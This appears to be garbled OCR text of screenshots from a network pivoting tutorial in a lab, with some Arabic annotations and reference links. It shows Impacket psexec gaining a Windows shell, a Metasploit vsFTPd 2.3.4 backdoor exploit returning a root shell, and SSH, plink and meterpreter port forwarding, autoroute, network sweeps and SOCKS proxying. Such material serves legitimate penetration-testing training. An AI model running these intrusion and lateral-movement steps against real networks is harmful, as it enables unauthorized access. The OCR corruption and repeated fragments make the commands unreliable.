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ncat —| 2222 —proxy-type http °
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Ehejab ~i$sudo péexec.py Administra
[sudo] password for hejap:
Impacket v0.9.22 - Copyright 2020 S

[*]
[*]
[*]
[*]
[*]
[*]
[!]

Microsoft Windows [Version 6.1.7
Copyright (c) 2009 Microsoft

Requesting shares on 192.168.12
Found writable share ADMINS$
Uploading file jdReAnBA.exe
Opening SVCManager on 192.168.1
Creating service YKYK on 192.16
Starting service YKYK.....
Press help for extra shell com
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) Edit Proxy 127.00.1:222

msf6 explot( ) > setg Proxies http:192,168.122.32:2022
Proxies = http:192,168.122.32:222
sf6 exploit( ) > exploit

192.168,122.183:21 - Banner: 220 (vsFTPd 2.3.4)

192.168.122.183:21 - USER: 331 Please specify the password.
[+] 192.168.122.183:21 - Backdoor service has been spauned, handling...
[+] 192.168.122.183:21 - VID: uid=0(root) gid=0(root)
l

Found shell.,

Comnand shell session 5 opened (0.0.0.0:0 = 192,168.122.32:2222) at 2021-03-06 19:44:58

LENA




cfu‘ AN

Web Server

SSH Tunneling local Port Forward Pivoting

DROP
Port HTTR

Hackerenv



ssh-L 127.0.0.1:8080:192.168.122.183:80 parrot@192.168.122.32 -
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local Port Forward Pivoting

dla g) ¢ a8l

Port forward

meterpreter > portfwd add -1 8080 -p 80 -r 192.168.122.32 -

plink -L 127.0.01:8080:192.168.122.183:80 parrot@192.168.122.32 -
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Ehejab ~i$sudo péexec.py Administra
[sudo] password for hejap:
Impacket v0.9.22 - Copyright 2020 S
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[*]
[!]

Microsoft Windows [Version 6.1.7
Copyright (c) 2009 Microsoft

Requesting shares on 192.168.12
Found writable share ADMINS$
Uploading file jdReAnBA.exe
Opening SVCManager on 192.168.1
Creating service YKYK on 192.16
Starting service YKYK.....
Press help for extra shell com
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Apache Tomeat35
@ i ™ Anache Software Foundation
/0& ' o Mttp:/fwww.apache.org/

e I you're seeing this page via a web hrowser, it means you've setup Tomeat successfully. Congratulations!

s you may have quessed by now, s e defauk Tomeal home page. I can be found on he oca
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ssh -R 127.0.0.1:8080:127.0.0.1:8180 kali@192.168.122.127 -
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Remote Port Forward
pivoting meterpreter > portfwd add -1 8080 -p 8180 -r 192.168.122.183 -

plink -R 127.0.01:8080:127.0.0.1:8180 kali@192.168.122.127 -«
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Ehejab ~i$sudo péexec.py Administra
[sudo] password for hejap:
Impacket v0.9.22 - Copyright 2020 S

[*]
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[*]
[!]

Microsoft Windows [Version 6.1.7
Copyright (c) 2009 Microsoft

Requesting shares on 192.168.12
Found writable share ADMINS$
Uploading file jdReAnBA.exe
Opening SVCManager on 192.168.1
Creating service YKYK on 192.16
Starting service YKYK.....
Press help for extra shell com
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I you're seeing this page via a web hrowser, it means you've setup Tomeat successfully. Congratulations!
s you may have quessed by now, i s the defaut Tomcat home page.  ca be found on the ocal lesystem at
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w g "WT‘ INA HO .ﬂE Is e rootof he Tomeatinsfalion directoy.f you'e seeingtis page, and you don' nk you should be, ten

0u" &n admiistalor who hasitgothsher setup quie ight
1 o more detaled sefun and administation ifomation the i ound

s conpiled nt a servieal buld tme. (See

NOTE: Far security raasans, using the adinistration webiapp i restricted louserswnh fole "admin’, The manager webiagp is
restrivted 1 users with role “manager”, sers e defied in SCuTALON HOE/conf oncat-ssers




2 1) sl

Web Server

SSH Tunneling Dynamic Pivoting

Hackerenv



ssh -D 9050 msfadmin@192.168.122.183 ¢
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Dynamic Pivoting

Dynamic

meterpreter > run autoroute -s 192.168.10.0/24 -

plink.exe -N -D 127.0.0.1:9050 -P 22 msfadmin@192.168.122.183 -

03
l Ve

hack with us —




meterpreter > run autoroute -s 192.168.10.0/24 -

MMLA\JAUY\
Lles RE g

Dyn amic Pivotin 0 msf5 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks4a

msf5 auxiliary(server/socks4a) > set srvport 1081

msf5 auxiliary(server/socks4a) > run

[*] Starting the socks4a proxy server
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Ehejab ~i$sudo péexec.py Administra
[sudo] password for hejap:
Impacket v0.9.22 - Copyright 2020 S
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[!]

Microsoft Windows [Version 6.1.7
Copyright (c) 2009 Microsoft

Requesting shares on 192.168.12
Found writable share ADMINS$
Uploading file jdReAnBA.exe
Opening SVCManager on 192.168.1
Creating service YKYK on 192.16
Starting service YKYK.....
Press help for extra shell com
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—5 proxychains ssh -D 2222 hejapa192.168.122.1

[proxychains] config file found: /etc/proxychainsé.conf

[proxychains] preloading /usr/1ib/x86 64-1inux-gnu/Libproxychains.so.
[proxychains] DLL init: proxychains-ng 4,14 —
[proxychains] Strict chain ... 192.168.122.32:2002 .. 192.168.122.1:22 .. Ok C roe—
The authenticity of host '192.168.122.1 (192.168.122.1)" can't be established. )

ECDSA ey fingerprint is SHA256: fO0udc2wZJt7oH0gLIKINuX5hBNZP md/G6/uliaYQuB.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes smatDe Smpe
Warning: Permanently added '192.168.122.1' (ECOSA) to the List of known hosts.

hejapd192.168.122.1's passuord: |
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meterpreter > ipconfig | 4l Cila glaa 4d e

meterpreter > netstat -anu ¢ da_sall ASuad) 48 el ASUAN ciladdd) JS 3aaLEA

meterpreter > route list | 4l g gall AEN Cldy oo cililes JS 328l

meterpreter > arp| 25> A jeal JS aalia

meterpreter > run arp_scanner -r 192.168.9.0/24 | 33l o) giall 393 gal) ASuad) jgal JS 3aaldia

meterpreter > run post/multi/gather/ping_sweep rhosts=192.168.9.0/24
meterpreter > run autoroute -s 192.168.9.0/24 | &3l ¥ guay iaal) Slgad lgadl iy s

meterpreter > run autoroute —p

route add 192.168.9.0 255.255.255.0 Session_id
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Interface 11

Name

Hardware MAC :
: 1500
IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

MTU

Interface 12

Name

Hardware MAC :
: 1280
IPv6 Address :
IPv6 Netmask :

MTU

Interface 14

Name

Hardware MAC :
: 1500
IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

MTU

—_—
<
\

: Intel(R) PRO/1000 MT Desktop Adapter

08:00:27:b7:79:8e

192.168.5.3

255.255.255.0
fe80::703a:8054:c0e6:3112
A 75 R 4 R T e B L

: Microsoft ISATAP Adapter

00:00:00:00:00:00

fe80::5efe:c0a8:503
) 4 A T 8 e i 8 8 A T 4 4 P i 8 1 e i

: Intel(R) PRO/1000 MT Desktop Adapter #3

08:00:27:42:3e:16

192.168.9.3

255.255.255.0
fe80::2455:183c:ae4b:b532
£ 55 7 D T B4 5 S I
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Module options (auxiliary/server/sockska):

Name  Current Setting Required Description

SRVHOST 0.0.0.0
SRVPORT 1080

Auxiliary action:

Name  Description

Proxy

nsf5 auxiliary(

yes The address to listen on
yes The port to listen on.

K |

[ProxyList]

# add proxy here ...

# meanwlle

# defaults set to "tor
Eucks# 127.0.0.1 1080
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psnuffle

Event

Local Interface: |phearl
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https://www.youtube.com/watch?v=YLwJORPJ5OA&t=26s
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Ehejab ~i$sudo péexec.py Administra
[sudo] password for hejap:
Impacket v0.9.22 - Copyright 2020 S
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Microsoft Windows [Version 6.1.7
Copyright (c) 2009 Microsoft

Requesting shares on 192.168.12
Found writable share ADMINS$
Uploading file jdReAnBA.exe
Opening SVCManager on 192.168.1
Creating service YKYK on 192.16
Starting service YKYK.....
Press help for extra shell com
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https://www.youtube.com/watch?v=YLwJORPJ5OA&t=26s
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https://blog.hackerenv.com/building-vulnerable-lab-for-pivoting/
https://blog.0x4.xyz/Pivoting-attack/
https://www.youtube.com/watch?v=UZi-G5vNCKs&list=PL_yseowcuqYJc7wXtGIsshYp1B_W0M-ZK&index=56
https://www.youtube.com/watch?v=gaA-QIv3oMY&list=PL_yseowcuqYLs-Zn8b5y3ejo9qgNnhZ9R
https://www.buhaimedi.com/%d8%a7%d8%ae%d8%aa%d8%a8%d8%a7%d8%b1-%d8%a7%d8%ae%d8%aa%d8%b1%d8%a7%d9%82/pivot-via-metasploit/
https://web.archive.org/web/20200919002134/https:/www.isecur1ty.org/%D8%B4%D8%B1%D8%AD-ssh-tunneling-%D9%81%D9%8A-%D8%A7%D9%84%D8%A5%D8%AE%D8%AA%D8%B1%D8%A7%D9%82/
https://www.youtube.com/watch?v=YLwJORPJ5OA&t=26s
https://www.youtube.com/watch?v=GWMQIg7IDvg




